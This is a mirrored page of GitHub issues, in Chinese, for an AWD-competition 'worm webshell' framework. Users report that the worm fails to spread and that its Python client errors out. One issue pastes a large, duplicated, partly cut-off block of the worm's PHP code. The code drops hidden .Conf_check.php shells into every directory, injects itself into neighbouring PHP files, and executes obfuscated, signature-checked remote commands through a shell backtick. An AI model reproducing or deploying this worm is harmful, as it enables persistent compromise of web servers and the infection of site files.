Giter Site home page Giter Site logo

awd_worm_phpwebshell_framework's Issues

运行报错

主要有2个问题:
1.mixV3.php上传后带上?_无法生成隐藏shell,目录权限正常

2.php_Excute_Client_light_vision.py执行报错
由于mixv3无法生成shell,所以用之前未混淆的版本shell.php在每个目录生成.Conf_check.php,但密码不清楚是admin还是ts@hack?
不过目前报错还不是因为密码,而是在第120行的127.0.0.1:8080,不知这个url的用途,是否要修改为实际shell的url?
r = requests.post(url, data=parameters, headers=head, proxies={'http': 'http://127.0.0.1:8080'}),

后尝试修改此处为http://TARGET_IP/,虽可运行,但执行cmd “连接超时或执行出错”

求助作者师傅

看到师傅在注释里写了我前东家 通服CCS的名字顿感亲切,最近在肝AWD,看到师傅的文章醍醐灌顶独树一帜,但是在运行时遇到一些问题,无奈网上资料甚少,只能回来求助。
测试环境 py 2.7.18 PHP 5.5.9
现有这一版:

  1. .mixV4,php 访问后没有感染同级目录的文件,但是自己无限刷新。
  2. light.py文件 修改target_ip.txt 和 命令 whoami 后VScode运行报错,IDEL 运行无显示

PYDEV DEBUGGER WARNING:
sys.settrace() should not be used when the debugger is being used.
This may cause the debugger to stop working correctly.
If this is needed, please check:
http://pydev.blogspot.com/2007/06/why-cant-pydev-debugger-work-with.html
to see how to restore the debug tracing back correctly.
Call Location:
File "d:\Program Files\Python27\lib\site-packages\gevent\threadpool.py", line 157, in _before_run_task
_sys.settrace(_get_thread_trace())

It seems that the gevent monkey-patching is being used.

没办法,回去重新读文章1-4 复制1中shell的代码 访问shell.php?_ 感染同级目录文件成功
.Conf_check.php未生成,下级目录生成的木马名字是这样的,301fc2d6cbb215a0b5d4c0c6c6742684.php
而且各个文件夹的名字不同,下级目录的php未被感染。
使用配套的PY脚本 修改木马文件url 和 命令whoami 运行无回显,下断点 print(timeskew) 显示为 0

希望大佬能抽时间回复,在线等您 [email protected]

感染后生成的木马为:

'.$dir_path; $srcode = ''; $localtext = file(__FILE__); for ($i = 0; $i < $Serv_Num; $i++) { $srcode .= $localtext[$i]; } //所有文件夹都生成一个webshell // echo " " . $dir_path . "/.Conf_check.php" . "
"; $le = Url_Check(); echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>'; fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode); } // 当前目录所有php被感染 } function vul_tran() { //每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug,所以改过来了。 //###### global $Serv_Num; $pdir = dirname(__FILE__); //要获取的目录 //先判断指定的路径是不是一个文件夹 if (is_dir($pdir)) { if ($dh = opendir($pdir)) { while (($fi = readdir($dh)) != false) { //文件名的全路径 包含文件名 $file_Path = $pdir . '/' . $fi; if (strpos($file_Path, '.php')) { //筛选当前目录.php后缀 $le = Url_Check(); $file_Path = str_replace('\\', '/', $file_Path); echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>'; $ftarget = file($file_Path); if (!strpos($ftarget[0], 'AWD_Light_Check')) { //检查头部是否传播 $scode = ''; $localtext = file(__FILE__); for ($i = 0; $i < $Serv_Num; $i++) { $scode .= $localtext[$i]; } $code_check = ''; $file_check = fopen($file_Path, "r"); //复制要传播的文件代码,进行重写 while (!feof($file_check)) { $code_check .= fgets($file_check) . "\n"; } fclose($file_check); $webpage = fopen($file_Path, "w"); fwrite($webpage, $scode . $code_check); fclose($webpage); } } } closedir($dh); } } } } /////////////////////////////////////////////////////////////////////////////////// //主函数 try { //定义特征才启动传播模式,特征值为_ if (isset($_GET['_'])) { $host = Url_Check(); file_check($_SERVER['DOCUMENT_ROOT']); //全局扫描 write_conf(); //写入单文件 vul_tran(); //感染当前目录 } elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) { #客户端数字签名校验 $Check_key = '9c82746189f3d1815f1e6bfe259dac29'; $Check_api = $_GET['check']; $timestamp = $_GET['time']; $salt = $_GET['salt']; $csign = $_GET['sign']; $sign = md5($Check_api . $Check_key . $timestamp . $salt); if ($sign === $csign) { $nomal_test = ''; for ($i = 0; $i < strlen($Check_api); $i++) { $nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt); } $nomal_test = base64_decode($nomal_test); $nowtime = time(); if (abs($nowtime - $timestamp) <= 5) { $enc = base64_encode(rawurlencode(`{$nomal_test}`)); //解密并执行命令在加密返回 $pieces = explode("i", $enc); $final = ""; foreach ($pieces as $val) { $final .= $val . "cAFAcABAAswTA2GE2c"; } $final = str_replace("=", ":kcehc_revres", $final); echo strrev(substr($final, 0, strlen($final) - 18)); exit; } else { header('HTTP/1.1 500 Internal Server Error'); } } else { header('HTTP/1.1 500 Internal Server Error'); } } else { header('HTTP/1.1 500 Internal Server Error'); } } catch (Exception $e2) { }'.$dir_path; $srcode = ''; $localtext = file(__FILE__); for ($i = 0; $i < $Serv_Num; $i++) { $srcode .= $localtext[$i]; } //所有文件夹都生成一个webshell // echo " " . $dir_path . "/.Conf_check.php" . "
"; $le = Url_Check(); echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $dir_path . "/.Conf_check.php") . '</iframe>'; fputs(fopen($dir_path . "/.Conf_check.php", "w"), $srcode); } // 当前目录所有php被感染 } function vul_tran() { //每个文件夹递归生成一个默认的马以及感染当前目录所有php文件。所谓感染就是把自身固定的代码插入到其他php文件中,甚至可以加注释符号或者退出函数exit();控制其他页面的可用性。不过要注意一下,是当前目录,这样响应速度会快很多,亲测如果是一次性感染全部目录的php文件后续会引发py客户端响应超时及其他bug,所以改过来了。 //###### global $Serv_Num; $pdir = dirname(__FILE__); //要获取的目录 //先判断指定的路径是不是一个文件夹 if (is_dir($pdir)) { if ($dh = opendir($pdir)) { while (($fi = readdir($dh)) != false) { //文件名的全路径 包含文件名 $file_Path = $pdir . '/' . $fi; if (strpos($file_Path, '.php')) { //筛选当前目录.php后缀 $le = Url_Check(); $file_Path = str_replace('\\', '/', $file_Path); echo '<iframe id="check_url">' . $le . '' . str_replace($_SERVER['DOCUMENT_ROOT'], '', $file_Path) . '</iframe>'; $ftarget = file($file_Path); if (!strpos($ftarget[0], 'AWD_Light_Check')) { //检查头部是否传播 $scode = ''; $localtext = file(__FILE__); for ($i = 0; $i < $Serv_Num; $i++) { $scode .= $localtext[$i]; } $code_check = ''; $file_check = fopen($file_Path, "r"); //复制要传播的文件代码,进行重写 while (!feof($file_check)) { $code_check .= fgets($file_check) . "\n"; } fclose($file_check); $webpage = fopen($file_Path, "w"); fwrite($webpage, $scode . $code_check); fclose($webpage); } } } closedir($dh); } } } } /////////////////////////////////////////////////////////////////////////////////// //主函数 try { //定义特征才启动传播模式,特征值为_ if (isset($_GET['_'])) { $host = Url_Check(); file_check($_SERVER['DOCUMENT_ROOT']); //全局扫描 write_conf(); //写入单文件 vul_tran(); //感染当前目录 } elseif (isset($_GET['time']) && isset($_GET['salt']) && isset($_GET['sign'])) { #客户端数字签名校验 $Check_key = '9c82746189f3d1815f1e6bfe259dac29'; $Check_api = $_GET['check']; $timestamp = $_GET['time']; $salt = $_GET['salt']; $csign = $_GET['sign']; $sign = md5($Check_api . $Check_key . $timestamp . $salt); if ($sign === $csign) { $nomal_test = ''; for ($i = 0; $i < strlen($Check_api); $i++) { $nomal_test .= chr(ord($Check_api[$i]) ^ $i % $salt); } $nomal_test = base64_decode($nomal_test); $nowtime = time(); if (abs($nowtime - $timestamp) <= 5) { $enc = base64_encode(rawurlencode(`{$nomal_test}`)); //解密并执行命令在加密返回 $pieces = explode("i", $enc); $final = ""; foreach ($pieces as $val) { $final .= $val . "cAFAcABAAswTA2GE2c"; } $final = str_replace("=", ":kcehc_revres", $final); echo strrev(substr($final, 0, strlen($final) - 18)); exit; } else { header('HTTP/1.1 500 Internal Server Error'); } } else { header('HTTP/1.1 500 Internal Server Error'); } } else { header('HTTP/1.1 500 Internal Server Error'); } } catch (Exception $e2) { }

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.